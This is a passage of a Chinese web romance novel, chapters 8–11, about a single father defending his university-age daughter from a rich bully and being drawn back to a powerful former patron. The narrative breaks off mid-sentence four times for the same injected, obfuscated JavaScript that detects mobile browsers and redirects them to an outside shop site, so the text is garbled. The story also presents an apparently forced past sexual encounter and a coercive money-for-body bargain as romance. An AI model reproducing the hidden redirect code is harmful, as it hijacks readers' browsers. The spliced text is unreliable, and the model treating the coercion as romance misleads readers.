然而鹤若妍也恰好盯上了这个位置。 鹤若妍的野心要更大一点,她从小追逐华而不实的东西,处处攀比且喜欢备受万众瞩目,所以她通过各种手段,强迫父母同意她进入娱乐圈,完成自己从小的明星梦。 而这一次的京城大学生运动会,正是一次非常正面的形象宣传。 要不然,她也不会通过父亲的层面,间接邀请小叔鹤爵来京大,与学校的校董见面。 谁知天公不作美。 鹤爵那边传话过来,说路上撞到个人,暂时过不来了。 鹤若妍自然不敢责怪她小叔,满肚子的火气肯定是要找个发泄渠道的。 恰巧今天篮球馆有联谊赛,京大的篮球主力有萧诼,沈妙妙作为“跟”着萧少爷的女人,早已经到篮球馆去看比赛了。 萧诼这一队的成绩不俗,上半场就拿了个36:21的好成绩,下半场对方更是重新组织了攻势,死死地守着主攻萧诼,害得萧诼惯用的三分手一点也使不出来。 沈妙妙坐在观众席间,紧张地将手里的保温瓶捏得滋滋作响,夏璇一直陪伴着她,耐心劝慰说,“你放心吧,萧诼可不是吃素的,这种场面对于他来讲早已经是司空见惯的了。” 沈妙妙则说,“我又不是担心他。” 夏璇不信,“胡说,我瞧你看男朋友看得目不转睛,不要给自己找借口嘛。” 沈妙妙笑了笑。 她确实不怎么替萧诼担心,她现在心里其实是在担心沈望,爸爸早晨出门说随便转转,现在都还没跟自己联络。 说沈望是一家之主,实际上沈妙妙在家里的地位更是举重若轻,往往沈望考虑不到的地方,多数是女儿在私底下帮忙出主意。 尤其沈望的容颜很能招惹祸事,沈妙妙嘴上不说,心里十分担心爸爸在什么地方被坏人缠上。 萧诼此刻突破攻防,如同海面间跃起的一条海豚,优雅且灵动,在女生们屏息凝神的注视中,单手一抬一挥,篮球呈现抛物线状,于半空中划出优美的弧,不偏不倚地落入篮筐中。 在下半场完美地投出三分球。 全场顿时沸腾如潮。 沈妙妙趁着人群混乱的场面,悄然地溜出了篮球馆,其实只要有萧诼参与的比赛,基本上都能夺冠。 她现在要去找沈望。 沈妙妙掏出手机,焦灼地给沈望拨打第十通电话,沈望是个女儿奴,从来不会耽搁接电话的,今天这样反常,沈妙妙几乎要认为沈望一定是出了意外。 直到她在拐弯处,跟急匆匆过来的三个女生撞成一团,双方都有责任,视野屏蔽区内居然还能跑得如此快。 沈妙妙被撞得往后一仰身,险些跌倒,幸亏从小在海鲜市场长大,灵活度不一样。 对方可就惨了,直接摔倒在地,从裙底露出两条细长的白腿。 “沈妙妙,你是不是要死啦!” 真是仇人见面分外眼红。 被撞倒的居然是鹤若妍,她的两个塑料闺蜜将翻倒在地的狼狈女孩扶了起来。 沈妙妙对她没什么好印象,不过出于礼节,还是去帮鹤若妍拍拂裙子上沾的尘土。 其中一个女孩挥开沈妙妙的手,“谁让你随便捧鹤小姐的裙子了,这裙子有多贵你知道吗?弄脏你赔得起吗?” 另外一个说,“就是,这上面的水钻都是意大利进口的,一颗都够你一个月的饭钱了,死穷鬼!” 这两人早就听鹤若妍抱怨沈妙妙的不是,今天好不容易逮着了机会,肯定是要往死里羞辱的。 沈妙妙的手背被拍得红了一块,疼得也收回手道,“既然裙子这么贵,就不要随随便便穿进校园里,毕竟京大是一个讲究涵养丰富精神的地方,又不是什么炫富的T台。” “还有你们是生活在封建社会吗?什么穷人富人的说辞,难道我们不是平等地在学校里读书的学生?” “再说我一个月的饭钱有六千,你这浑身上下的水钻真能有几千万?你们确定没有被意大利人骗吗?” 假如沈妙妙是一朵娇弱的小白花,大概鹤若妍也没如此讨厌她。 沈妙妙的不卑不亢,才是她最讨厌的地方。 不禁星眸圆睁,一脸难以置信道,“沈妙妙,你这个顶级白莲花,话说你每次这样牙尖嘴利的,萧诼哥哥知道吗?” 沈妙妙想了想,淡道,“萧诼难道是看上我的嘴?” 可把鹤若妍气得半死,双手一摸脖颈,脸色大变道,“我的粉钻项链怎么不见了,是不是刚才被你撞了一下,彻底不见了!” 那一条粉钻项链是小叔在18岁成年礼上送她的礼物,市值1200个w,鹤若妍有不少珠宝,却唯独喜欢这一条项链。 今天专门戴来见小叔和校董的! 沈妙妙原本打算一走了之,又觉得对方丢了珍贵的东西,自己走了也不好,准备帮忙在四周看看。 结果彻底激怒了鹤若妍,对方完全失去一个豪门千金应有的分寸,指着沈妙妙大骂道,“你这个人真晦气,简直是个扫把星,碰到你这种人一点好处也没有!你也不怕将来把晦气传给萧诼哥哥,你这个有爹生没妈养的坏东西!!” “把你刚才说的话给我咽回去!” 沈妙妙凭空听见沈望的声音,心中一喜,寻思着爸爸究竟从哪里钻出来的。 简直如同神降。 沈望已经从女儿背后走出来,怒气冲冲道,“看你这个小同学也有模有样的,张嘴居然尖酸刻薄,我是沈妙妙的爸爸,你现在走到我面前,来仔细讲清楚。” “究竟是谁有爹生,没妈养?!!” 沈望虽说生得顶级漂亮,发火的时候也自带说不清的风韵,不过自从单身带娃之后,性格也变得坚强许多。 当年那段被人欺凌的黑暗历史早已经过去,现在的沈望只有一个愿望,那就是他唯一的女儿绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344802|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能遭受任何委屈。 “爸爸。”沈妙妙轻声喊了一句。 沈望点点头,一闪身冲到惊呆了的三个女孩中间,居高临下道,“不就是区区一条破项链,值得你拿狗眼看人低吗?” “你说你这么一个看起来有修养的大学生,国家培养你们是为了让你们未来承担起建设祖国的重任,不是让你依靠家里的破钱,来羞辱认真学习的孩子的!” “这条项链多少钱,我赔给你,但是你刚才跟我女儿讲了几句不像样的话,事后必须给我女儿道几次歉!!” 沈望倒也不是想欺负小姑娘,不过谁要是让他女儿受了委屈,那简直比当众鲨了他自己还难受。 鹤若妍万没想到沈妙妙的爸爸居然长得这样好看。 不对,她万没有想到沈妙妙的爸爸居然如此年轻。 ....... 不对! 鹤若妍确实是有点迟疑了,颤巍巍道,“1200万,你现在就赔我。” 沈望:“.......” 沈妙妙过来拖住他的手臂,避免爸爸拿出在海鲜市场跟人吵群架的气势。 沈望道,“好,没问题,我跟你约个时间,过两天给你钱,不过我女儿的道歉,你一句都不能少!” 用手比了比鹤若妍两边的女生,“你俩是共犯,到时候也不准跑,也得道歉。” 转身揽住女儿往另一个方向走。 沈妙妙低声问,“爸爸......” 沈望执着于演绎父爱如山,一点也不松口,“没关系,爸爸不会让她们欺负你的。这口气,爸爸得给你争回来!” 沈妙妙想:不是,爸爸,我是觉得你抖得有点厉害。 算了。 沈妙妙紧紧被爸爸搂着,心里开心极了。 沈望则将手偷偷摸进裤兜,沉甸甸的金属名片还在兜里,宛若没有激活的隐藏宝物。 幸亏没时间扔掉。 ……是时候该要点抚养费了吧? 与此同时。 鹤爵坐在餐桌前用餐,桌面摆放着的七碟八碗都是精致碳水,全部由特聘的营养师按照每天的营养需求烹饪。 鹤爵一般只少量地吃点蒸蔬菜和红肉。 今天破天荒地吃了小半碗米饭。 这可把一旁服侍的管家赵叔激动坏了。 不过赵叔不敢询问原因,只是低声地叮嘱女佣,将爵爷喜欢吃的餐单记录下来,过一周再做一次。 要知道,鹤爵失去味觉和嗅觉已经十几年了,对于没有这两种感觉的人来说,吃饭像是例行公事,没什么特别的意义,只是为了身体需要。 鹤爵下意识在就餐的过程中停顿三次,还看了桌面三次。 管家赵叔立刻将西湖牛肉羹,往少爷的面前移动了些距离。 鹤爵没有动,而是语气淡淡说,“我好像听见手机响了,没有吗?” 原来是在找手机。 赵叔立刻跑去了三楼的书房,看来眼手机屏幕,又搭乘室内电梯回到餐厅,一板一眼道,“现在是您的就餐时间,公司的人不敢在这个时间打扰您的。” 鹤爵哦了一声,“可能是我幻听了。” 9. 第 9 章 沈望隐藏在一团栀子花树丛里躲到天黑,等夜深人静才悄咪咪偷跑出来,打着手电筒,不停在草丛里翻来找去。 没错,他觉得他真是个大蠢材! 沈望回去越想越不对味,一条价值1200万的项链,随便掉在附近,那个所谓的臭小妞怎么就能不管不顾,也不报警来这边封锁现场,帮忙寻找呢? 最起码,也得自己先在附近认真找一下吧? 沈望不停抱怨自己属于冲动派,属于狗脾气的,脑子一热就不管不顾、不计后果、一马当先! ......好像用错成语了。 沈望拿着手电筒,开始小心翼翼地寻觅着每一条石子缝,每一块草皮,甚至要去爬垃圾箱了。 直到另外一条手电筒的光打向他的身后,以试探性的口吻问道。 “爸爸,是你吗?” 沈望原本做贼心虚,惊出一身白毛冷汗,后一听竟然是女儿的声音,转身用手遮挡住眉毛的位置。 一看确实是俏皮鬼沈妙妙。 这沈妙妙一直用手电的光束晃着父亲的眼睛,仿佛抓住了关键性的把柄,粗气嗓音道,“沈同志,现在半夜三更的,你怎么一个人跑到草丛里,是在做什么坏事吗?” 沈望担心被监控摄像头拍到,被保安过来抓住,又被女儿调皮的行为逗笑,不禁回忆起俩人刚在广城立足。 那个时候沈望一个人带孩子做生意,经常有人在他的鱼摊前捣乱,甚至团伙性地欺负他一个外乡人。 有一次,沈望明明记得给顾客宰鱼的时候没有将苦胆刺破,可是后来顾客气势汹汹地找上门,硬说沈望的宰鱼技术不过关,把一锅昂贵的鱼鲜做坏了,还开罪了重要的客人,于是领着人连砸带抢,把沈望的简陋摊子砸得七零八落。 沈望只能抱着怀里一岁的女儿,一大一小躲在阴暗狭小的角落默默流泪。 沈望害怕女儿吓到,用手紧紧捂住女儿的耳朵,将女儿的眼睛挡在怀里,沈妙妙完全不知所以,还奶声奶气地哄爸爸不要哭哭。 ...... 沈望这一生关于悲惨灰暗的记忆很多很多,但是女儿的降生给他带来的幸福也很多很多,假如两两相互抵消的话,沈望坚信还是幸福与欢乐更多一些,假如没有女儿的陪伴,恐怕他早已经没有勇气,继续活在这个冷冰冰的世界了。 沈望原本是打算朝沈妙妙微笑一下的,不过笑意刚到了嘴边,又被他缓缓地克制了下去。 自从到京大与女儿相聚也已经有四五天了,这四五天中,他一次也没有机会再看见本书男主角,更没有从女儿的口中得知任何关于萧诼的信息,包括与女儿的舍友见面,三个女生也都口风把得严严实实。 这说明...... 这说明他这个父亲还是有不合格的一面,女儿还是在某个角度不够信任他的意思。 沈望努努嘴道,“沈妙妙,你以为大学校园是大广福海鲜市场吗?你每天晚上不按时就寝,你们宿舍的楼妈能轻易放过你?” 沈妙妙立刻关闭了手电光线,乖巧地跑过来搂住爸爸的手臂,有点哄人道,“还说我不守规矩呢,我今天总感觉你会半夜出现在这个地方,我这是担心你呀。” 爸爸长得又美,身上又香喷喷的,做女儿的从小帮忙赶走那么多的烂桃花、坏桃花,肯定时时刻刻担心爸爸会遇见色狼。 沈妙妙道,“不用找了,我跟你保证,鹤若妍的项链根本没有丢,所以我是来接你回宾馆休息的。” 沈望张大嘴巴,父女连心,倒真想到一起去了。 沈妙妙挽着手臂,“其实鹤若妍道不道歉的,我一点也不在乎,所以那1200万的话,爸爸你也千万不用当真。” “鹤小姐跟我之间有点误会,我自己就可以妥善解决,所以爸爸你安心回宾馆睡觉,根本不用理睬她,明天我陪你去特产一条街转转,龅牙朱叔叔和思聪叔叔早应该催你买京城名产了吧?” 沈妙妙这个机灵鬼丫头,什么都猜对了。 不对。 沈望这才关注到一个重点信息,“你是说,今天找你麻烦的那个丫头片子,叫做鹤若妍?” 萧诼未来的八分之一老婆? 难怪女儿会被奇奇怪怪的疯丫头缠上,原来是剧情人物设置的冲突属性。 “呸,这个晦气玩儿意。”沈望对着空气发狠。 沈妙妙说,“鹤若妍晦气?” 不,是男主萧诼这个糟心的东西,屁本事没有,祸害一群女的! 沈望温柔地拍拍女儿的手背,眼神安抚道,“你一个凭借自己努力考上大学的乖孩子,不该被人随意针对诋毁,放心吧,爸爸说了能解决这件事情,你就安心上学,其他的都不用管。” 沈望一夜未眠。 鹤公馆里也有人一夜未眠。 赵管家早晨到宅子里的私人健身房一瞧,自家的爷已经雷打不动,五点钟起床,自律性极强地在健身器械上做健身运动。 赵管家是鹤爵出生的那一年,鹤家老太爷专门高薪聘请的终身管家,只针对鹤家的小少爷鹤爵,提供终身性地照顾,直到养老病退。 赵管家是瞧着鹤爵从襁褓中的婴儿长成如今193的挺拔伟岸的,从内心来讲,全京城的阔少如数家珍,唯独鹤爵能算得上阔少中的翘楚,鹤群中的龙凤。 鹤爵的自我约束力很强,没有滥.交的恶习,更不会随便在私生活上不知捡点。 按照京城最有名的说法,鹤爵就是全京城豪门里的禁欲佛子,清心的圣徒。 赵管家倒是挺希望自己家的主子能每隔一段时间带一两个俊男美女回家过夜的,规律又健康的性.生活可以促进身心健康。 可是,他家的这位爷每天换下来的内裤都干净到仿佛没有穿过的痕迹,一星半点可疑的液体都没有。 赵管家看了看鹤爵在跑步机上不停迈动的逆天长腿,优秀腹肌,还有英俊到没朋友的深邃五官,不由摇头叹气。 这么清心寡欲,浪费天资,怕不是真的看破红尘,等哪天跑去出家了? 正思忖,端在银制托盘中的手机嗡嗡响起。 是鹤爵的生活用手机,鹤爵一般不怎么使用,所以只要来电话,就一定非常重要。 “爵爷,您的重要电话。”赵管家趁鹤爵从跑步机下来,赶紧递上银质托盘。 鹤爵随便看了眼手机号码,点开公放说,“讲话。” 来电是陌生号码,然而接听之后十几秒,里面都没有人说出一句话来。 赵管家打定主意,这是典型的电信诈骗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344803|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 鹤爵却以迅雷不及掩耳的速度摁掉公放,拿起来置于耳侧,谨慎道,“我家的住址只说一遍,你现在过来。”给赵管家打个手势,叫他不要碍事。 赵管家还是第一次见鹤爵接电话赶他走,心里念念叨叨着:一般少爷也不会亲自报家庭住址呀? 半小时后,鹤爵一身西装笔挺,悠闲自如地走下楼,朝他道,“再过十分钟来的客人,让他坐在客厅等我。” 赵管家思忖:时间都精确到差十分钟,您怎么说走就走了呢? 不过鹤爵的话外话他听明白了,假如来了客人,绝对要留住,必须等到少爷回家才行。 赵管家立刻点头,转身叫后厨的营养师快速制作茶点,等待神秘客人上门。 而鹤爵则依照惯例,长腿一迈坐进了等候在公馆外的迈巴赫内。 司机师傅道,“是......” 鹤爵选择闭目养神,完全没有给出明确方向的意思。 司机师傅只好随意性很强地开起了车,若是开去公司吧,恐怕等爵爷睁眼要发难,若是开得太应付,对不起自己的专业素养。 所以司机载着闭眼休息的鹤爵,绕着小区附近转了二十几圈。 不知鹤爵晕不晕,反正司机是腻了。 家里的爷爷这才缓慢睁眼,仿若云雾里唯一清醒的野鹤,淡而又淡道,“回吧。” 沈望有些拘谨地坐在富丽堂皇的客厅中央,他虽说对鹤爵的了解水平不高,但是绝对相信鹤爵的品味,这一屋子的精致起码是花了大价钱倾心打造的。 赵管家的待客之道堪称体贴入微,每隔半小时便来通知一声,爵爷快回来了,给沈望添茶的次数也很稳,不至于让客人等得心烦意乱。 沈望几次打算回去,都被成功阻挡,只好促狭地用手指提了提衣服领子,避免坐得太久,汗水沁出来发出香味。 适时,鹤爵的车子进了庭院。 久等的人终于要见正主了,沈望心里突然像安装了一万只机械兔子,不停踹他的胸膛。 ——我今天不该来的,我一定是昏了头了。 沈望不停在心底许愿——妙妙保佑爸爸,妙妙保佑爸爸。 鹤爵那双昂贵皮鞋摩擦过大理石地面的声响,忽轻忽重地敲击在沈望的头颅。 好了,他现在连脑子也混乱起来了。 沈望慢悠悠地站起身,与进屋脱掉西装外套的鹤爵遥遥相对。 虽说今天是再见的第二面。 沈望却显得格外不适。 ——上次我当着他的面说,这辈子再也不要见他了,现在想想又主动跑来。 我好JIAN啊~ 沈望恨不能把头埋在地板缝里,一看这地板是整片大理石磨制,根本没有能钻的缝隙~ 鹤爵已经挥手叫屋子里所有会出现的人离开,大刀阔斧地坐在沙发中央,用手拍了拍自己的右侧,淡道,“你找我有什么急事?” 沈望内心徘徊到了极限,心说死就死吧。 ——女儿保佑爸爸~ 于是像当年被欺凌急了一样,笔直地走到鹤爵身边,与对方视线交汇的刹那。 一屁股坐在鹤爵的大腿上,眼神不停游移道,“我现在走投无路了,要不要像以前一样,帮帮我?” 10. 第 10 章 高中的最后一年里,沈望的日子明显好过起来。 依仗着鹤爵这座大靠山,沈望身上的衣服渐渐没有了捡垃圾的味道,最后还穿上了这辈子都没有穿过的崭新校服。 身上的伤变得越来越少了,一日三餐的饭菜越来越可口丰盛,就连皮肤也从又黑又黄逐渐变得白皙透亮。 包括体香的味道,也开始浓郁醉人,人漂亮得不像话,比精致的洋娃娃还要生动诱人。 沈望开始知道这是一个狗眼看人低的世界,也知道这是一个看钱的世界。 鹤爵告诉他:你在我身边可以做任何想做的事。 沈望的腰杆挺得一天比一天直起来。 他以为,自己是鹤爵养的一条小狗,在主人的庇佑下,偶尔也能小声地叫唤几声。没想到毕业典礼的晚上,满脸潮红的鹤爵把自己拖进酒店的房间,狠狠地睡了他三天三夜! ....... 沈望虽然各方面不如鹤爵的优秀,从小也辗转在各种欺凌之下,不过自尊心是挺强的。 即使他的这份自尊心,是在鹤爵时有时无的保护下,野蛮又扭曲生长出来的。 沈望发出提议之后,安静等待对方的回复。 鹤爵并没有立刻搂住沈望的意思,即使他们当初因为某些原因,真得睡过了,可那又如何呢? 鹤爵淡定得凝视着近在咫尺的沈望,两人高中时,自己最大程度的宠溺,也只是用手反复地抚摸着沈望的脖颈。 小家伙现在长成了成熟的男人,十几年不见愈发漂亮,浑身上下的肌肤状态抵达巅峰,屁股又肉又翘得紧贴他的大腿,像一颗熟透了的水蜜桃,随便掐弄一下就能流出黏人的汁水。 真是熟透了。 鹤爵道,“想要多少钱?” 他说这句话的语气平平静静,却对于所有社会人来讲一语中的——没有人不缺钱,没有人不需要钱来解决问题。 这话直接的仿佛在说——你觉得自己值多少钱? “1200万。” 沈望顷刻红了脸皮,反被鹤爵摁住,俩人之前有相识一场的渊源,不可能不管他。 “你这次捅的窟窿还挺大。” 鹤爵的手自然而然搂住沈望的腰,似有一语双关的暗示,“那……还是按照以前的那种照顾方式做?” 沈望已经没办法问,究竟是哪个做,什么样的做,他现在如坐针毡,鹤爵的怀里热得烫人,连大腿肌也硬鼓鼓的。 试想十几年前,他可没有这样大胆,敢直接坐进鹤爵的怀里。 鹤爵便不再逗他,成年人之间的相处要更为直接,所以鹤爵离开后又很快回来,手里捏着一个信封,属于定制款的和纸。 里面一定装着写好数字的支票。 这已经完全不再属于单方面的求助,而是一场明码标价的交易。 因为他们都已经成年,不再做幼稚的“你对我好,我回报与你”,而是更为暴力和直接。 鹤爵再没有碰他,沈望也希望如此,既然有了明码实价的“照拂”,他也必须如同一片乖巧的云,该来则来该走则走。 沈望前脚一走,赵管家立刻安排家佣们打扫房间,虽然客人很老实,并没有残留下什么不得体的痕迹。 不过这是鹤爵一贯的作风,不喜欢属于自己的私人空间留下任何外人的痕迹。 算是一种特定意义上的洁癖。 例如客人坐过的沙发或凳子,需要用消毒湿巾擦拭干净;饮用过的骨瓷茶杯、糕点果子餐盘、刀叉或是水果签;屋内的空气也需要开窗流通一下。 赵管家将客厅一扇扇窗户打开,尽管沈望没有喷香水的习惯,身上也穿了两套秋衣,客厅内涌动的奇异香味淡淡地、轻轻地勾着人的鼻腔。 实属好闻极了。 鹤爵并没有送沈望出门,对方跑得像狡猾的兔子一样迅速,等鹤爵重新回到客厅。 第一件做的事,就是阻止赵管家打开窗户,言道,“都下去忙其他的事情,这里不需要通风。” 鹤爵似乎深深地呼吸着空气中残存的气味,波澜不惊的眼眸中闪现出一丝丝得逞的餍足,有些骇人。 ......鹤爵是没有嗅觉的。 所以这个举动令赵管家十分惊讶。 因为他的主人——鹤爵,此刻从肢体发肤间浮现出了一种前所未有的情愫。 饥渴。 鹤爵无意识流露出的感觉,很饥渴!! 赵管家感到十分害怕,但不敢说话。 . 沈望拿着信封,依照与鹤若妍约定好的地方见面,沈妙妙早已经坐在那里,两个女生各自坐在不同的位置,中间的人行通道俨然变成了泾渭分明。 沈望把信封递给了一旁喝着咖啡的鹤若妍,严肃道,“现在可以向我女儿道歉了。” 沈妙妙立刻走到他身边,以诧异的口吻询问道,“爸爸你真的?” 鹤若妍有两个塑料姐妹花做帮凶,自然不怕他们父女二人。 一个女生做了嘴替,语气不善道,“这是什么东西?不会是叔叔你弄来的□□吧?” 沈望则一点也没疼惜对方是个20岁的小姑娘,冷笑一声,“怎么,你们害怕我用冥币糊弄你们?” 鹤若妍立刻翻了个大大的白眼,心底嘲讽着,父女俩人都是白痴加大傻瓜,自己随便说丢了项链,就乖乖拿钱来。 蠢死了! 于是剥开和纸信封,捏出里面单薄的支票,噗嗤笑了一声,“居然还是空头支票呀,做得倒是挺逼真的,怎么不自己在上面写十个亿呢......” 鹤若妍的嘲讽才奚落到一半的位置,嘴角的笑意忽然被什么牵制住,变成不停地抽搐。 一双漂亮水灵的眼睛写满惊恐与怀疑,嘴里不停地重复着,“怎么可能,这怎么可能!!” 就差往此处搭配一个“这绝不可能”表情包。 身旁的两个塑料闺蜜出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344804|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于好奇,左右凑过来想看是不是真的支票。 鹤若妍恨恨瞪了一眼,两人立刻坐回原处。 “你这身份低微的家伙,怎么可能认识我小叔?!!” 鹤爵独有的潇洒字体,在支票的姓名栏呈现着。 “不可能!”鹤若妍一把扯住沈望的衣领,“你是不是偷偷模仿我小叔的签名!” “鹤若妍,你给我放尊重一点!”沈妙妙从不动怒,直到爸爸被讨厌的人牵住衣领,挺身护爹。 沈望也不含糊,不要说他以大欺小,都是第一次投胎做人,没谁惯着谁。 他也捏住鹤若妍的手腕,半用力道,“信不信,你自己去问问鹤爵,不过我很担心,假若你小叔知道你凭空勒索他人1200万,作为鹤家的掌门人,会不会从心里觉得你是一个糟糕的孩子呢?” “你!”鹤若妍瞧着他一张无法描摹的漂亮脸蛋,都做叔叔的人了,皮肤好的吹弹可破。 完全是个怪物!! 鹤若妍攥紧支票,扭身要走。 沈望死死摁住她的手腕,声色厉荏道,“给我女儿道歉!” 鹤若妍被他拧住最疼的骨节,快要逼得落泪,眼瞅着沈望没有一点退步的感觉,带着一百万分的委屈道,“对不起!” 沈望倏然一松,被鹤家小妮子转头跑个飞快,两个塑料闺蜜一瞧沈望,顿时觉得这个美人叔叔很有一套,居然连鹤若妍都会道歉,看来是开罪不起,一并灰溜溜地跑了。 沈妙妙把沈望被扯乱的衣领抚平,准备详细地问沈望究竟是怎么回事。 沈望道,“妙妙,爸爸离开家太久,生意快要被鲨人王抢光了,帮你出了这口恶气之后,爸爸需要先回家看看情况。” 沈妙妙哭笑不得,“用这么快吗?” 其实她更想询问,爸爸是不是认识鹤若妍的小叔。 沈望已经忘记了这次出门的目的,是为了铲除男主。 摸了摸口袋里买好的车票,与女儿话别,甚至连旅店的行李箱都不打算取回。 开什么玩笑!! 沈望原本的打算是,用鹤爵给的1200万狠狠打鹤若妍的脸,反正鹤家的钱从左口袋导进右口袋。 谁知道鹤爵居然给他一张随意填写金额的支票!! 万一他随便写个100亿呢! 不行,他还是先躲回广城,再找机会回来收拾男主吧。 沈望是这样打算的,没料想,鹤爵也是这样预防的。 才刚准备打的去车站,半路直接被鹤爵的人截胡,从车里被人提出来的时候堪称丢脸的巅峰时刻。 不过保镖算是训练有素,给他塞进鹤爵的车里的时候,也算是手下留情。 鹤爵端正地坐在车里,单手优雅地举着水晶酒杯,刚浅酌完葡萄酒液的嘴唇带着一点血腥似的红。 沈望立刻蔫了半截。 鹤爵含着猩红酒液,目不转睛问他,“这次,又准备往哪里跑?” 11. 第 11 章 沈望心说糟糕了,不过也没有那么特别糟糕,不过是鱼死网破罢了。 于是拿出十足的男子汉气概,朗声道,“鹤爵,我警告你不要太过分了!假若不是你侄女的话,我根本不会再跟你有任何瓜葛。” “你们鹤家的家风不好,一个个的仗势欺人,我虽然是个穷鬼,也确实仰仗过你的权势,但那不代表什么!该还你的我已经早还完了。” “那张支票已经被鹤若妍拿走了,以后我就不亏欠你的了!” 一口长气吐露出诸多的不满。 沈望这才发现只有他自己一头在暴躁,鹤爵那边完全不为所动。 或者说,两人关注的点完全南辕北辙。 鹤爵冷淡地舔了舔嘴唇,阴恻恻道,“是若妍找你麻烦了?” 沈望:“.......” 这剧情是不是跑偏有点厉害?!难道鹤若妍还没来告状啊!小丑岂不是我自己! 沈望开始回顾,自己有没有提到女儿沈妙妙的名字。 他一点也不想让鹤爵发现女儿的存在! 鹤爵这边已经拿出手机,拨通后朝对面的鹤若妍讲,“你长大了,以后自己的事情不用再找我解决。” 完全不等鹤若妍有什么解释的机会,径自将电话挂断。 然后又在沈望的错愕中,拨通第二次的电话,对里面的人更是不客气讲,“三哥,你跟若妍究竟灌输了些什么?多事。” 鹤家三少爷顶着一张懵逼脸,被自己家的幺弟狠狠挂掉电话。 什么情况? 最后,鹤爵才来解决沈望,从容不迫地像是在宣布一道圣旨,完全没有任何商量的余地。 “你说完了自己的想法,也来听听我的。” “我给你钱,是因为需要你的身体,所以你再怎么跑也没用。” 沈望被气得面红耳赤,套着两层秋衣的厚度,都掩盖不住正在溢出的芬芳体香。 ——他果然一直是在图我的身体! 鹤爵一把扯住沈望的手腕,轻松将人带进怀底,他的力量远远高于沈望许多,即使像十几年前的那三天三夜,沈望的腿快被掰断了,嗓音也喊软了,也没能停止无度的征伐。 鹤爵明显感觉到对方的颤抖,算是放软态度道,“我有很严重的嗅觉与味觉问题,十几年前还比较轻,现在算是彻底的丧失殆尽。” “可是这次见你,我发现自己的嗅觉和味觉有一丝丝地改变。” 鹤爵的手指拨开沈望的衣领,使得脖颈的部分全部暴露在外,那一截脖颈完全不像自己的粗,而是被常年精心隐藏起来的白玉,软绵绵的极有咬一口的欲望。 沈望躲不开,只能不停挣扎,“有病你去看医生啊!我怎么可能治得好你呢!” 其实心底的真实想法却是——原来当年鹤爵并不是因为我的体香,才来靠近我的...... 这突如其来的原因,竟叫他的潜意识里放松了一些。 鹤爵居然耐心道,“你所担心的事情都不会发生,我只需要你跟我生活在同一个空间内,仅此而已。” 仅此而已。 沈望总感觉他这四个字,是故意嘲讽自己胡思乱想的意思,好歹自己现在三十几岁的人了,这点含沙射影还是听得懂的! 沈望也是不能激的个性,反正对方从小就是转断独行惯了,自己绝对忤逆不了的,索性屡走屡看。 “鹤爵,你也算在我关键的时候帮了我几次,你现在是有求于我,那等你病好了我就走,到时候你总不会再拦着我吧?” 鹤爵眼眸沉沉,一点也看不清内里究竟融合着怎样的算计,不过他还是很干脆地说,“可以。” . 沈妙妙匆忙与沈望话别,总感觉爸爸像一阵顽皮的风,来得也快去得也快,缥缈得像故意来查探自己的校园生活。 是不是一个检点的乖女孩。 沈妙妙给沈望发了一个简短的信息,让沈望路上小心。 沈望回复:已经上车了,安心。 但是究竟上的什么车,只有沈望自己清楚。 沈妙妙到校园超市买了一袋子水果,往宿舍楼走。 半路上遇见了骑着摩托车来找她的萧诼。 萧诼无论走到哪里,总是会引起四周女生的全体轰动。 沈妙妙却不怎么喜欢被人用密集视线泰山压顶的感觉。 其实她忽略了自己属于天仙级美貌吸引来的那部分。 尤其爸爸突然走了,这叫做女儿的很不开心。 所以沈妙妙决定找个借口跟萧诼吵架,好叫他快点走。 于是佯装做气呼呼地路过一无所知的男主角,迎面丢下一句话。 “最近不要来找我。” 萧诼所见到的沈妙妙聪明乖巧,最重要是十分听话柔顺。 朝他发狠的沈妙妙倒是第一次见。 萧诼被这股新鲜的劲儿给吸引住了,禁不住伸长手臂拉出对方,转身一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344805|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个车咚,将轻飘飘的校花抱上了摩托车后座,双臂为牢,紧紧拦住去路问。 